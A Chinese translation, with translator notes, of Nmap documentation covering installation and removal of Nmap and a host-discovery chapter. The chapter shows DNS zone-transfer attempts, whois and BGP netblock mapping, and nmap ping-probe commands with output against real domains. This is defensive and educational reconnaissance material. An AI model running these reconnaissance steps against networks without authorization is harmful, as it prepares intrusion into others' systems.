ld: 0711-596 SEVERE ERROR: Object ../nsock/src/libnsock.a[nsock_core.o] An RLD for section 2 (.data) refers to symbol 1794, but the storage class of the symbol is not C_EXT or C_HIDEXT.
你可以通过安装GNU binutils的as来解决这个问题。(但不是ld;你要继续使用默认的ld。)这些说明是在AIX 7.1上用来自http://ftp.gnu.org/gnu/binutils 的binutils-2.22测试的。
$bzip2 -dc binutils-2.22.tar.bz2 | tar -xvf -
$cd binutils-2.22
$./configure --disable-werror --disable-largefile CFLAGS="-O2 -Wall"
$gmake
$cd gas
$su
#gmake install
这将安装在/usr/local/bin中。自定义CFLAGS省略了-g,否则会导致您尝试解决的as错误之一。在构建和配置Nmap时,您必须确保在PATH中/usr/local/bin出现在/usr/bin之前。
$export PATH="/usr/local/bin:$PATH"
在某些情况下,GCC被配置为使用汇编器的绝对路径。在这种情况下,你将不得不暂时把默认的汇编器移开。你可以通过向gcc传递-print-prog-name=as选项来测试是否是这种情况。
$gcc -print-prog-name=as
/usr/bin/as
如果你看到的输出是/usr/bin/as,那么你必须用mv /usr/bin/as /usr/bin/as.backup这样的命令禁用系统as。如果你看到的是输出as,那么就不需要做其他改动。
现在按照“从源代码编译和安装 Linux/Unix”一节中的说明进行操作。
AmigaOS
开源开发的奇迹之一是,资源往往引导人们进入感兴趣的领域,而不是像大多数公司那样只关注利润。正是沿着这些思路,Amiga的移植才得以实现。Diego Casorran完成了大部分工作,并送来了一个干净的补丁,被集成到主要的Nmap发行版中。一般来说,AmigaOS用户应该能够简单地按照 "Linux/Unix编译和从源代码安装 "一节中的源代码编译说明进行操作。您在某些系统上可能会遇到一些障碍,但我想这一定是Amiga狂热者的乐趣之一。
其他专有 UNIX(HP-UX、IRIX 等)
Nmap在过去支持许多专有的Unix系统,如HP-UX和SGI IRIX。我们在很大程度上依靠用户社区来维持对这些系统的充分支持。如果您有问题,试着向nmap-dev邮件列表发送一份报告,包括全部细节,如 "错误 "一节所述。如果您开发了一个补丁,改善了对您平台的支持,也请让我们知道,这样我们可以把它纳入Nmap。
删除 Nmap
如果您删除 Nmap 的目的只是升级到最新版本,您通常可以使用大多数二进制包管理器提供的升级选项。同样,安装最新的源代码(如“Linux/Unix 从源代码编译和安装”一节中所述)通常会覆盖任何以前的源代码安装。如果您正在更改安装方法(例如从源代码更改为 RPM,反之亦然),或者您不再使用 Nmap 并且您关心它消耗的几兆磁盘空间,那么删除 Nmap 是一个好主意。
如何删除 Nmap 取决于您最初安装它的方式(请参阅前面的部分)。易于删除(和其他维护)是大多数二进制包的主要优点。例如,当Nmap用Linux发行版上常见的RPM系统安装时,可以用root身份运行rpm -e nmap zenmap命令来删除它。大多数其它软件包管理器也提供类似的选项--请查阅它们的文档以了解更多信息。
如果您从 Windows 安装程序安装了 Nmap,只需打开控制面板,选择“添加或删除程序”,然后为 Nmap 选择“删除”按钮。您也可以删除 Npcap,除非您需要它用于其他应用程序,例如 Wireshark。
如果您从源代码安装 Nmap,则移除会稍微困难一些。如果您仍然有可用的构建目录(最初运行make install的位置),您可以通过运行make uninstall来删除 Nmap 。如果您不再拥有该构建目录,请键入nmap -V以获取 Nmap 版本号。然后从https://nmap.org/dist/或https://nmap.org/dist-old/下载该版本 Nmap 的tarball源码 。解压缩tarball,然后换到新创建的目录(nmap-<version>)。运行./configure,包括您第一次指定的任何安装路径选项(比如 --prefix或-datadir)。然后运行make uninstall。或者,您可以简单地删除所有Nmap相关文件。如果您使用了Nmap 4.50或更高版本的默认源安装,下面的命令可以删除它。
#cd /usr/local
#rm -f bin/nmap bin/nmapfe bin/xnmap
#rm -f man/man1/nmap.1 man/man1/zenmap.1
#rm -rf share/nmap
#./bin/uninstall_zenmap
如果您在第一次安装Nmap时指定了--prefix或其它安装路径选项,您可能要稍微调整上述命令。如果您没有安装Zenmap前端,与zenmap、nmapfe和xnmap有关的文件就不存在。
第三章 主机发现
(也叫“ Ping 扫描”,译者注:屏严格来讲是指icmp ping,但是实在太通用现在代表广义上的发现)
介绍
指定目标主机和网络(译者注:指定目标有四种方法,直接、文件、随机、排除)
从列表输入 ( -iL)(译者注:iL的i是input,L是list)
随机选择目标 (-iR <numtargets> )
排除目标 ( --exclude, --excludefile <filename>)
实例
查找组织的 IP 地址
DNS 技巧
针对 IP 注册机构的 Whois 查询
互联网路由信息
DNS解析
主机发现控制(译者注:默认下nmap会利用多种技术,如果不想使用某种技术就要禁用它)
列出扫描 ( -sL)(译者注:s是scan、L是list)
禁用端口扫描 ( -sn)(译者注:s是scan、n是no)
禁用 Ping ( -Pn)(译者注:p是ping、n是no)
主机发现技术(译者注:主机发现有二层三层四层发现,任何一层有响应表示存活)
TCP SYN Ping ( -PS<port list>)(译者注:p是ping、s是syn)
TCP ACK Ping (-PA<port list> )
UDP Ping (-PU<port list> )
ICMP Ping 类型(-PE、-PP和-PM)
IP 协议 Ping (-PO<protocol list> )(译者注:p是ping,o是protocol ,因为protocol 的p与r用了)
ARP 扫描 ( -PR)
默认组合
全盘考虑:主机发现策略
相关选项
选择和组合 Ping 选项
最有价值的探针
TCP 探针和端口选择
UDP端口选择
ICMP 探针选择
设计理想的探针组合
主机发现代码算法
介绍
任何网络侦察任务的第一步都是将一组(有时是巨大的)IP 范围减少为活动或感兴趣的主机列表。扫描每个 IP 地址的每个端口速度很慢,而且通常是不必要的。当然,使主机感兴趣的因素在很大程度上取决于扫描目的。网络管理员可能只对运行某种服务的主机感兴趣,而安全审计员可能关心每个具有 IP 地址的设备。管理员可能只使用 ICMP ping 来定位其内部网络上的主机,而外部渗透测试人员可能会使用一组不同的数十个探针来试图规避防火墙限制。
由于主机发现需求如此多样化,Nmap 提供了多种选项来定制所使用的技术。尽管名称为 ping 扫描,但这远远超出了与无处不在的ping 工具相关的简单 ICMP 回显请求数据包。用户可以通过列表扫描 ( -sL
) 或禁用 ping (-Pn
),或使用多端口 TCP SYN/ACK、UDP 和 ICMP 探测的任意组合来参与网络。这些探测的目标是请求响应,以证明 IP 地址实际上是活跃的(正在被主机或网络设备使用)。在许多网络上,在任何给定时间只有一小部分 IP 地址处于活动状态。这在私有地址空间(例如 10.0.0.0/8)中尤为常见。该网络有 1680 万个 IP,但我看到它被少于一千台机器的公司使用。主机发现可以在稀疏分配的 IP 地址海洋中找出这些机器。
本章首先讨论 Nmap ping 扫描的整体工作原理,以及高级控制选项。然后介绍了具体的技术,包括它们如何工作以及何时最合适。Nmap 提供了许多 ping 技术,因为它通常需要精心设计的组合才能通过一系列通往目标网络的防火墙和路由器过滤器。讨论了有效的整体 ping 扫描策略,然后简要介绍了所使用的算法。
指定目标主机和网络
之后的翻译,因为这里的文档与前面的选项详解重复,因此忽略翻译。即使不一样也以选项详解为最新或者是相同含义的不同表示方法。
比如,
This is done with the -iR
option, which takes as an argument the number of IPs to generate.
与
The <num hosts>
argument tells Nmap how many IPs to generate.
Undesirable IPs such as those in certain private, multicast, or unallocated address ranges are automatically skipped.
与
Nmap automatically skips certain undesirable IPs, such as those in private, multicast, or unallocated address ranges.
nmap -sS -PS80 -iR 0 -p 80
与
nmap -Pn -sS -p 80 -iR 0 --open
实例
虽然有些工具有简单的界面,只允许一个主机列表,或者也许让您指定一个范围的开始和结束IP地址,但Nmap要强大和灵活得多。但是Nmap也可能更难学--扫描错误的IP地址有时是灾难性的。幸运的是,Nmap提供了一个使用列举扫描(-sL选项)的模拟运行。简单地执行nmap -sL -n <targets>,在您实际操作之前看看哪些IP会被扫描。
例子可能是教授Nmap主机规范语法的最有效方法。本节提供一些,从最简单的开始。
nmap scanme.nmap.org
nmap scanme.nmap.org/32
nmap 64.13.134.52
这三个命令都是一回事,假设 scanme.nmap.org 解析为 64.13.134.52。它们扫描该IP,然后退出。
nmap scanme.nmap.org/24
nmap 64.13.134.52/24
nmap 64.13.134.-
nmap 64.13.134.0-255
这四个命令都要求Nmap扫描从64.13.134.0到64.13.134.255的256个IP地址。换句话说,它们要求扫描scanme.nmap.org周围的C类大小的地址空间。
nmap 64.13.134.52/24 --exclude scanme.nmap.org,insecure.org
告诉Nmap扫描64.13.134.52周围的C类,但如果在该地址范围内发现scanme.nmap.org和insecure.org,则跳过它们。
nmap 10.0.0.0/8 --exclude 10.6.0.0/16,ultra-sensitive-host.com
告诉Nmap扫描整个私有10的范围,但它必须跳过以10.6开头的任何东西以及 ultra-sensitive-host.company.com。
egrep '^lease' /var/lib/dhcp/dhcpd.leases | awk '{print $2}' | nmap -iL -
获得分配的DHCP IP地址列表,并将 它们直接送入Nmap进行扫描。注意,连字符传递给-iL是为了从标准输入读取。
nmap -6 2001:800:40:2A03::3
扫描地址为2001:800:40:2a03::3的IPv6主机。
查找组织的 IP 地址
Nmap使网络扫描的许多方面自动化,但您仍然必须告诉它要扫描哪些网络。我想您可以指定-iR,希望Nmap随机地击中您的目标公司,或者您可以尝试用蛮力的方法指定0.0.0.0/0来扫描整个互联网。但是这些选择中的任何一个都可能需要几个月或几年的时间,并且可能会给你带来麻烦。因此,在扫描目标网络块之前仔细研究它们是很重要的。即使您正在进行合法的渗透测试 并且客户给了你一份他们的网络块列表,也要务必仔细检查。客户有时会有过时的记录,或者只是把它们写错了。如果您不小心闯入了错误的公司,由您的客户签署的授权书将无济于事。
在许多情况下,你只能从一个公司的域名开始。本节演示了一些最常见和最有效的方法,把它变成一个由目标公司拥有、经营或附属的网块的列表。本节演示的是典型的Linux命令行工具,但类似的工具也可用于其他平台。
在2006年的ShmooCon会议上,一个家伙走到我面前抱怨Nmap文档指定了许多扫描target.com的例子。他指出ICANN已经为这个目的保留了域名example.com,并迫使我相应地修改手册页。虽然在技术来讲他是正确的,但令人着迷的是一件奇怪的事情。当他把名片递给我时,他的动机就变得清晰起来:
显然,许多 Nmap 用户直接从手册页复制示例并在不更改目标的情况下运行它们。因此,target.com 充斥着扫描和相应的 IDS 警报。为了纪念该事件,本节的目标是确定分配给 Target Corporation 并由其使用的 IP 范围。(译者注:作者的意思是他无意写的例子却成为了用户攻击他们域名的目标)
DNS 技巧
DNS 的主要目的是将域名解析为 IP 地址,因此它是一个合乎逻辑的开端。在示例 3.1中,我使用 Linux host命令 查询一些常见的 DNS 记录类型。
>host -t ns target.com
target.com name server ns4.target.com. target.com name server ns3.target.com. target.com name server ns1-auth.sprintlink.net. target.com name server ns2-auth.sprintlink.net. target.com name server ns3-auth.sprintlink.net. >host -t a target.com
target.com has address 161.225.130.163 target.com has address 161.225.136.0 >host -t aaaa target.com
target.com has no AAAA record >host -t mx target.com
target.com mail is handled by 50 smtp02.target.com. target.com mail is handled by 5 smtp01.target.com. >host -t soa target.com
target.com has SOA record extdns02.target.com. hostmaster.target.com.
接下来,我解析上述主机名的 IP 地址(再次使用host)并尝试一些常见的子域名,例如www.target.com
和 ftp.target.com
. 从ns3.target.com和smtp01.target.com这样的名字开始,我尝试改变数字来寻找新机器。所有这些让我得到了以下的target.com名称和地址。
主机名 | IP 地址 |
---|---|
ns3.target.com | 161.225.130.130 |
ns4.target.com | 161.225.136.136 |
ns5.target.com | 161.225.130.150 |
target.com | 161.225.136.0, 161.225.130.163 |
smtp01.target.com | 161.225.140.120 |
smtp02.target.com | 198.70.53.234, 198.70.53.235 |
extdns02.target.com | 172.17.14.69 |
www.target.com | 207.171.166.49 |
虽然大量的主机名列表可以通过这种方式产生,但主机名的母体来自于区域转移。 大多数DNS服务器现在都拒绝区域转移请求,但这值得一试,因为许多服务器仍然允许这样做。请务必尝试你通过域名NS记录和端口扫描企业IP范围找到的每一个DNS服务器。到目前为止,我们已经找到了 7 个 Target 名称服务器:ns3.target.com
、 ns4.target.com
、ns5.target.com
、ns1-auth.sprintlink.net
、 ns2-auth.sprintlink.net
、ns3-auth.sprintlink.net
和 extdns02.target.com
。不幸的是,所有这些服务器要么拒绝传输,要么不支持区域传输所需的 TCP DNS 连接。例3.2显示了使用普通的dig(域名信息挖掘者)工具[9]进行的失败的target.com区域转移尝试,接着是对一个不相关的组织(cpsr.org)的成功尝试。
>dig @ns2-auth.sprintlink.net -t AXFR target.com
; <<>> DiG 9.5.0b3 <<>> @ns2-auth.sprintlink.net -t AXFR target.com ; Transfer failed. >dig @ns2.eppi.com -t AXFR cpsr.org
; <<>> DiG 9.5.0b1 <<>> @ns2.eppi.com -t AXFR cpsr.org cpsr.org 10800 IN SOA ns1.findpage.com. root.cpsr.org. cpsr.org. 10800 IN NS ns.stimpy.net. cpsr.org. 10800 IN NS ns1.findpage.com. cpsr.org. 10800 IN NS ns2.eppi.com. cpsr.org. 10800 IN A 208.96.55.202 cpsr.org. 10800 IN MX 0 smtp.electricembers.net. diac.cpsr.org. 10800 IN A 64.147.163.10 groups.cpsr.org. 10800 IN NS ns1.electricembers.net. localhost.cpsr.org. 10800 IN A 127.0.0.1 mail.cpsr.org. 10800 IN A 209.209.81.73 peru.cpsr.org. 10800 IN A 208.96.55.202 www.peru.cpsr.org. 10800 IN A 208.96.55.202 [...]
在收集像这样的前向DNS结果时,一个常见的错误是假设在一个域名下发现的所有系统都必须是该组织网络的一部分,并且可以安全扫描。事实上,没有什么能阻止一个组织添加指向互联网上任何ip地址的记录。这通常是为了将服务外包给第三方,同时保留源域名的品牌效应。例如,www.target.com,解析到207.171.166.49。这是Target公司网络的一部分,还是由我们可能不想扫描的第三方管理的?三个快速而简单的测试是DNS反向解析、traceroute和针对相关IP地址注册表的whois。前两个步骤可以用Nmap完成,而Linux whois命令对第三个步骤很有效。这些针对target.com的测试显示在例3.3和例3.4。
# nmap -Pn -T4 --traceroute www.target.com
Starting Nmap ( http://nmap.org )
Nmap scan report for 166-49.amazon.com (207.171.166.49)
Not shown: 998 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
[cut]
9 84.94 ae-2.ebr4.NewYork1.Level3.net (4.69.135.186)
10 87.91 ae-3.ebr4.Washington1.Level3.net (4.69.132.93)
11 94.80 ae-94-94.csw4.Washington1.Level3.net (4.69.134.190)
12 86.40 ae-21-69.car1.Washington3.Level3.net (4.68.17.7)
13 185.10 AMAZONCOM.car1.Washington3.Level3.net (4.71.204.18)
14 84.70 72.21.209.38
15 85.73 72.21.193.37
16 85.68 166-49.amazon.com (207.171.166.49)
Nmap done: 1 IP address (1 host up) scanned in 20.57 seconds
在例3.3中,反向DNS(两处)和有趣的traceroute结果被加粗。Amazon.com域名使得该网站极有可能是由亚马逊而不是Target本身运营的。然后whois结果显示 "Amazon.com, Inc. "是IP空间所有者,这就消除了所有疑问。该网站是Target的品牌,但在底部显示 "Powered by Amazon.com"。如果我们受雇于Target 公司来测试他们的安全,我们将需要得到亚马逊的单独许可来接触这个地址空间。(一般web部署有两种情况本地部署、云服务)
在线Web 数据库也可以用来查找某个特定域名下的主机名。例如,Netcraft有一个网站DNS搜索功能,网址是http://searchdns.netcraft.com/?host。在表格中输入.target.com会带来36个结果,如图3.2所示。他们方便的表格也显示了网块所有者,这就抓住了诸如亚马逊运行www.target.com 的情况。我们已经知道一些被发现的主机,但我们不太可能猜到sendasmoochie.target.com这样的名字。
谷歌也可用于此目的的查询,例如site:target.com
.
针对 IP 注册机构的 Whois 查询
在发现一组初始“种子” IP 后,必须对其进行研究以确保它们属于您期望的公司并确定它们属于哪些网络块。小公司可能分配了 1-16 个 IP 地址,而大公司通常有数千个。这些信息被保存在区域数据库中,如北美的ARIN(美国互联网号码注册处)和欧洲及中东的RIPE。现代的whois工具获取一个IP地址并自动查询相应的注册处。
中小型公司通常没有像 ARIN 这样的公司分配的 IP 空间。相反,它们是来自其 ISP 的委派网络块。有时您会从 IP 查询中获取此 ISP 信息。这通常会给您留下一个很大的网络块,并且您不知道它的哪一部分分配给您的目标。幸运的是,许多 ISP 现在使用Shared Whois (SWIP) 或Referral Whois (RWhois) 对客户范围进行细分。如果 ISP 已经这样做了,您就可以了解客户的确切网络块大小。
之前为 target.com 发现的 IP 地址之一是161.225.130.163
. 示例 3.5 演示了一个 whois 查询(自动针对 ARIN)来确定该 IP 的所有者和 IP 分配信息。
> whois 161.225.130.163
[Querying whois.arin.net]
[whois.arin.net]
OrgName: Target Corporation
OrgID: TARGET-14
Address: 1000 Nicollet TPS 3165
City: Minneapolis
StateProv: MN
PostalCode: 55403
Country: US
NetRange: 161.225.0.0 - 161.225.255.255
CIDR: 161.225.0.0/16
NetName: TARGETNET
NetHandle: NET-161-225-0-0-1
Parent: NET-161-0-0-0-0
NetType: Direct Assignment
NameServer: NS3.TARGET.COM
NameServer: NS4.TARGET.COM
Comment:
RegDate: 1993-03-04
Updated: 2005-11-02
OrgTechHandle: DOMAI45-ARIN
OrgTechName: Domainnames admin
OrgTechPhone: +1-612-696-2525
OrgTechEmail: Domainnames.admin@target.com
毫不奇怪,Target 拥有一个巨大的 B 类网络块,覆盖了从 161.225.0.0 到 161.225.255.255 的所有 65,536 个 IP。由于 OrgName 是 Target,这不是我们从他们的 ISP 看到结果的情况。
下一步是同样地查询所有以前发现的不属于这个范围的IP。然后你可以开始进行更高级的查询。命令whois -h whois.arin.net \? 提供了ARIN的查询语法。如果你能搜索所有与给定地址、OrgID或OrgTechEmail相匹配的网块就更好了,但IP注册处一般不允许这样做。然而,许多其他有用的查询是允许的。例如,whois -h whois.arin.net @target.com显示所有ARIN联系人的电子邮件地址为target.com。查询whois -h whois.arin.net "n target*" 显示所有以target开头的网块柄。它不区分大小写。同样,whois -h whois.arin.net "o target*" 显示所有以target开头的组织名称。你可以查找与每个条目相关的地址、电话号码和联系电子邮件,以确定他们是否属于你想扫描的公司。通常情况下,他们是第三方,碰巧有一个类似的名字。
互联网路由信息
互联网的核心路由协议是边界网关协议(BGP)。在扫描中型和大型组织时,BGP路由表可以帮助你找到它们在世界各地的IP子网。例如,假设你想扫描属于微软公司的IP地址。对microsoft.com的DNS查询提供了IP地址207.46.196.115。上一节中讨论的 whois 查询显示整个 207.46.0.0/16 块属于 Microsoft,位于 Redmond 的相应 “ One Microsoft Way ”地址。这提供了 65,536 个 IP 地址进行扫描,但 BGP 表会暴露更多。
为 Microsoft 等实体分配了自治系统 (AS) 编号 用于路由目的。http://asn.cymru.com/上提供了一个方便的工具,用于确定为给定 IP 地址公布的 AS 编号 。输入207.46.0.0
此表单会提供 Microsoft 的 AS 编号 8075。接下来,我要查找路由到此 AS 的所有 IP 前缀。http://www.robtex.com/as/提供了一个方便的工具。输入AS8075
并点击Go
该页面会导致一个摘要屏幕显示找到的 42 个前缀。这些前缀代表 339,456 个 IP 地址,可以通过单击BGP
选项卡进行枚举。
虽然从这样的罐装网络表格中获取BGP信息很方便,但从实际的路由器中获取路由数据更有趣,而且可能允许更强大的自定义查询。有几个组织提供这样的服务。举个例子,telnet到route-views.routeviews.org或访问http://routeviews.org。当然,这些服务提供对数据的只读访问。如果你需要操纵全局路由表作为接管互联网的邪恶计划的一部分,这就超出了本书的范围。
DNS解析
Nmap 主机发现的重点是确定哪些主机已启动并在网络上响应。这就缩小了目标的范围,因为您不可能黑掉一个不存在的主机。但不要让发现就此结束。你不会因为女孩(或男人)会呼吸就和他们约会,选择网络上的盒子来渗透也值得特别注意。一个伟大的信息来源(关于网络主机,而不是潜在的约会)是DNS,即域名系统。即使是有安全意识的组织,也经常指定一些透露其系统功能的名称。我们经常看到无线接入点被命名为wap或无线,防火墙被命名为fw、firewall或fw-1,开发中的网络服务器被命名为dev、staging、www-int或beta,其内容尚未公布。地点或部门名称也经常被披露,如公司的芝加哥办公室防火墙被命名为fw.chi。
默认情况下,Nmap对每个响应主机发现探测的IP(即那些在线的)执行反向DNS解析。如果用-Pn跳过主机发现,解析会对所有IP进行。Nmap不使用缓慢的标准DNS解析库,而是使用一个定制的存stub 析器,它并行地执行几十个请求。
虽然默认值通常运行良好,但 Nmap 提供了四个用于控制 DNS 解析的选项。它们会极大地影响扫描速度和收集的信息量。
- 之后的翻译,因为这里的文档与前面的选项详解重复,因此忽略翻译。即使不一样也以选项详解为最新或者是相同含义的不同表示方法。
主机发现控制
默认情况下,Nmap 将包括一个 ping 扫描阶段,然后再进行更多侵入性探测,例如端口扫描、操作系统检测、Nmap 脚本引擎或版本检测。Nmap 通常只在 ping 扫描阶段显示可用的机器上执行侵入式扫描。与对每个 IP 地址执行全面扫描相比,这可以节省大量时间和带宽。然而,这种方法并不适用于所有情况。有时您确实想要扫描每个 IP ( -Pn
),而有时您想要在不扫描端口的情况下执行主机发现 ( -sn
)。有时您甚至想在发送 ping 探测 ( -sL
) 之前打印出目标主机并退出。Nmap 提供了几个高级选项来控制这种行为。
列表扫描 ( -sL
)
禁用端口扫描 ( -sn
)
禁用 Ping ( -Pn
)
主机发现技术
曾几何时,发现一个IP地址是否注册在一个活动的主机上是很容易的。只需发送 ICMP 回显 请求(ping)数据包并等待响应。防火墙很少拦截这些请求,绝大多数主机都乖乖响应。自 1989 年以来, RFC 1122就要求这样的响应,其中明确指出“每个主机都必须实现一个 ICMP Echo 服务器功能,该功能接收 Echo Requests 并发送相应的 Echo Replies ”。
不幸的是,对于网络探索者来说,许多管理员认为安全问题胜过 RFC 要求,并阻止了 ICMP ping 消息。 示例 3.8 对六个流行的 Web 站点使用仅 ICMP 的 Nmap ping 扫描,但只收到两个响应。这表明不能再基于未能回复 ICMP ping 探测而假定主机不可用。此示例中的“ -sn -PE
”选项指定仅 ICMP 的 ping 扫描。该-R
选项告诉 Nmap 对所有主机执行反向 DNS 解析,即使是关闭的主机。
# nmap -sn -PE -R -v microsoft.com ebay.com citibank.com google.com \
slashdot.org yahoo.com
Starting Nmap ( http://nmap.org )
Host origin2.microsoft.com (207.46.250.252) appears to be down.
Host pages.ebay.com (66.135.192.87) appears to be down.
Host ld1-www.citicorp.com (192.193.195.132) appears to be down.
Host 216.239.57.99 appears to be up.
Host slashdot.org (66.35.250.150) appears to be down.
Host w3.rc.dcn.yahoo.com (216.109.127.30) appears to be up.
Nmap done: 6 IP addresses (2 hosts up) scanned in 3.76 seconds
幸运的是,除了标准的 ICMP 回显请求之外,Nmap 还提供了多种主机发现技术。它们在以下部分中进行描述。请注意,如果您指定-P
本节中讨论的任何选项,它们将替换默认的发现探测器,而不是添加到它们中。
TCP SYN Ping (-PS<port list>
)
<port list>
TCP 确认 Ping ( )-PA<port list>
<port list>
UDP Ping ( )-PU<port list>
<port list>
ICMP Ping 类型(-PE
、-PP
和-PM
)
IP 协议 Ping ( )-PO<protocol list>
<protocol list>
ARP 扫描 ( -PR
)
默认组合
放在一起:主机发现策略
相关选项
前面的部分描述了用于控制 Nmap 主机发现阶段和自定义使用的技术的主要选项。但是,这里有许多更通用的 Nmap 选项。本节简要说明这些选项标志与 ping 扫描的关系。有关每个选项的完整说明,请参见第 15 章,Nmap 参考指南。
-v
(同--verbose
)-
--source-port
<portnum>
(同-g
)-
-n
,-R
-
--dns-servers
(用于反向 DNS 查询的服务器)<server1>
[,<server2>
[,...]]-
--data-length
<length>
-
--ttl
<value>
-
- 固定时间选项(
-T3
、-T4
、-T5
等) -
--max-parallelism
,--min-parallelism
<value>
-
--min-rtt-timeout
,--max-rtt-timeout
,--initial-rtt-timeout
<time>
-
- 输入选项 (
-iL
<filename>
,-iR
<number>
) -
- 输出选项(
-oA
、-oN
、-oG
、-oX
等) -
--randomize-hosts
-
--reason
-
--packet-trace
-
-D
<decoy1,decoy2,...>
-
-6
-
-S
<source IP address>
,-e
<sending device name>
-
- 常规选项
-
有效的扫描不仅仅需要了解本节和前几节中描述的所有选项。用户必须了解如何以及何时使用这些选项以适应目标网络拓扑结构和扫描目标。
2009年5月,我们做了一些研究,以找到最有效的PING探针。我们针对数千台互联网主机测试了几十种不同的探针和主机发现选项。这项研究的结果显示在表3.2中,该表按有效性对不同的探针进行排名。百分比是指对任何探针作出反应的主机的数量。我们测试了90种不同的探针;这是一个子集。
找到的主机 | 探针 |
---|---|
62.47% | -PE |
44.17% | -PS443 |
43.28% | -PA80 |
43.01% | -PA443 |
42.47% | -PS80 |
40.65% | -PA110 |
40.42% | -PA3389 |
40.41% | -PS110 |
39.89% | -PA22 |
39.62% | -PS21 |
39.62% | -PA21 |
38.75% | -PS22 |
37.50% | -PS3389 |
36.66% | -PP |
31.17% | -PU40125 --source-port 53 --data-length 24 |
29.96% | -PU31338 --source-port 53 --data-length 24 |
29.05% | -PU631 --source-port 53 --data-length 24 |
26.38% | -PU40125 |
26.09% | -PS25 |
25.69% | -PA25 |
25.35% | -PU31338 |
24.71% | -PU631 |
24.15% | -PU53 --source-port 53 --data-length 24 |
22.20% | -PU53 |
9.09% | -PO2 |
9.03% | -PO150 |
7.20% | -PO4 |
4.21% | -PM |
我们可以从表3.2中挑出一些有趣的特征。
到目前为止,最好的单一探针是-PE,ICMP echo。
紧随其后的是各种SYN和ACK探针(-PS和-PA),都是常见的端口。
ICMP时间戳,-PP,做得相当好。
最好的UDP探针(-PU)是那些随机的高位端口,当与-source-port 53 --data-length 24相结合时,它们更有效。
对端口25(SMTP)的SYN和ACK明显比其他TCP探测差,也许是因为该端口通常被过滤。
各种IP协议ping (-PO)不是很有效,
而-PM,即ICMP地址掩码请求,排在最后。
仅通过从表 3.2 顶部选择条目并不能找到最佳的多探针组合 。这是因为一些探测器发现许多与另一个相同的主机,所以使用它们两者都比只使用一个好一点。我们有一个计算机程序,通过检查每个探测器找到的主机数量以及它们与其他探测器的重叠程度,为不同数量的探测器找到最佳组合。最佳组合 见表 3.3。Nmap 的默认四探针组合是从该列表中选择的,作为综合性和速度之间的折衷。
简单地从表3.2的顶部挑选条目,并不能找到最佳的多探针组合。这是因为有些探针与另一个探针发现了许多相同的主机,所以使用这两个探针比只使用一个探针好不了多少。我们让一个计算机程序通过检查每个探针发现的主机数量以及它们与其他探针的重叠程度,找出不同探针数量的最佳组合。表3.3列出了最佳组合。Nmap默认的4个探针组合是从这个列表中选择的,作为全面性和速度之间的折衷方案。
找到的主机 | 探针组合 | |
---|---|---|
1个探针 | 62.47% | -PE |
2个探针 | 77.61% | -PE -PA80 |
3个探针 | 83.83% | -PE -PA80 -PS443 |
4个探针 | 88.64% | -PE -PA80 -PS443 -PP |
5个探针 | 91.12% | -PE -PA80 -PS443 -PP -PU40125 --source-port 53 |
6个探针 | 92.42% | -PE -PS80 -PS443 -PP -PU40125 -PA3389 --source-port 53 |
7个探针 | 93.10% | -PE -PS80 -PS443 -PP -PU40125 -PS3389 -PA21 --source-port 53 |
8个探针 | 93.69% | -PE -PS80 -PS443 -PP -PU40125 -PS3389 -PA21 -PU161 --source-port 53 |
TCP 探针和端口选择
TCP ping 选项是 Nmap 中一些最强大的发现技术。管理员可能能够在不影响大多数用户的情况下阻止 ICMP 回显请求数据包,但服务器绝对必须响应发送到它提供的公共服务的 SYN 数据包。同时,ACK 数据包经常通过无状态防火墙。我建议同时使用 SYN 和 ACK 探测,使用基于您对目标网络的任何了解的端口列表以及更普遍的流行端口。 表 3.4 列出了根据经验测试最有可能响应(打开或关闭)的端口(请参阅“什么是最受欢迎的端口?”一节)。在有默认丢弃过滤器的主机上(最难到达的类型),这些是最可能引起响应的端口。
除了上面列表中的常用端口外,建议至少选择一个高编号的端口。许多配置较差的防火墙只对特权端口进行默认拒绝,即低于1024的端口。我通常会凭空选择一个高编号的端口,如40,000或10,042,以抓住这种防火墙后面的机器。
在选择探测的端口时,记住要强调平台的多样性。如果你把ping扫描限制在两个端口,HTTP(80)和SSH(22)可能比HTTP(80)和HTTPS(443)更好,因为后两者是相关的web服务,而且许多有HTTPS的机器往往也有HTTP可用。在同一台机器上找到两个可访问的端口并不比找到一个端口更有利于ping扫描。我们的目标是选择端口,以便广泛的主机能够至少匹配其中一个。
请注意,有价值的端口表不包括许多面向客户端的端口,例如无处不在的 Windows SMB 端口 135。主要原因是该表只查看了默认拒绝防火墙后面的主机,其中绝大多数端口都被过滤了。在这些情况下,Windows 端口(例如 135–139 和 445)通常会被阻止。当这些机器不在防火墙后面时,打开的端口对于 ping 扫描并不重要,因为数以千计的关闭端口也能正常工作。
UDP端口选择
在选择UDP端口时,请记住,开放的端口不太可能对探针作出反应。希望有未经过滤的端口。为了避免开放端口,你可以考虑排除常见的UDP服务,如DNS(端口53)和SNMP(161)。另一方面,防火墙规则通常很宽泛,那些探测(特别是对53号端口的探测)可能会穿过并击中一个封闭的端口。所以我建议至少选择53号端口和一个任意选择的高数字端口,如37452。
ICMP 探针选择
对于 ICMP,标准 ping(回显请求)通常值得一试。许多管理员特别允许这样做,因为它对调试很有用,或者因为RFC 1122需要它。我还将使用至少一个地址掩码或时间戳请求。这些对于管理员故意阻止回显请求数据包但忘记其他 ICMP 查询的网络很有价值。
设计理想的探针组合
如何将所有这些 ping 类型组合成 ping 扫描策略取决于目标网络的特征和扫描目标。对于内部网络,默认的 ping 类型通常效果很好。默认值也适用于大多数临时扫描,在这种情况下,偶尔丢失主机没什么大不了的。添加更多探测器可以帮助捕获那些偶尔出现的隐秘机器,但代价是使 ping 扫描花费更长的时间。花费的时间大致与发送到每台机器的探测数成正比。对于 Internet 上的目标网络的安全扫描,通常建议添加更多探测器。尝试包括前面讨论的各种技术。这是一组应该捕获绝大多数主机的 ping 选项-PE -PP -PS21,22,23,25,80,113,443,31339 -PA80,113,443,10042
:加入 --source-port 53
可能也是值得的。结果会好多少,需要多长时间?当然,这取决于目标网络,但 Nmap 随机目标选择选项 ( -iR
) 可以轻松执行快速测试。 示例 3.13显示 Nmap 生成 50,000 个随机 IP 地址,然后执行默认 ping 扫描。您应该记住,默认是四个探测:一个 ICMP 回显请求、一个到端口 443 的 TCP SYN、一个到端口 80 的 TCP ACK 和一个 ICMP 时间戳请求。
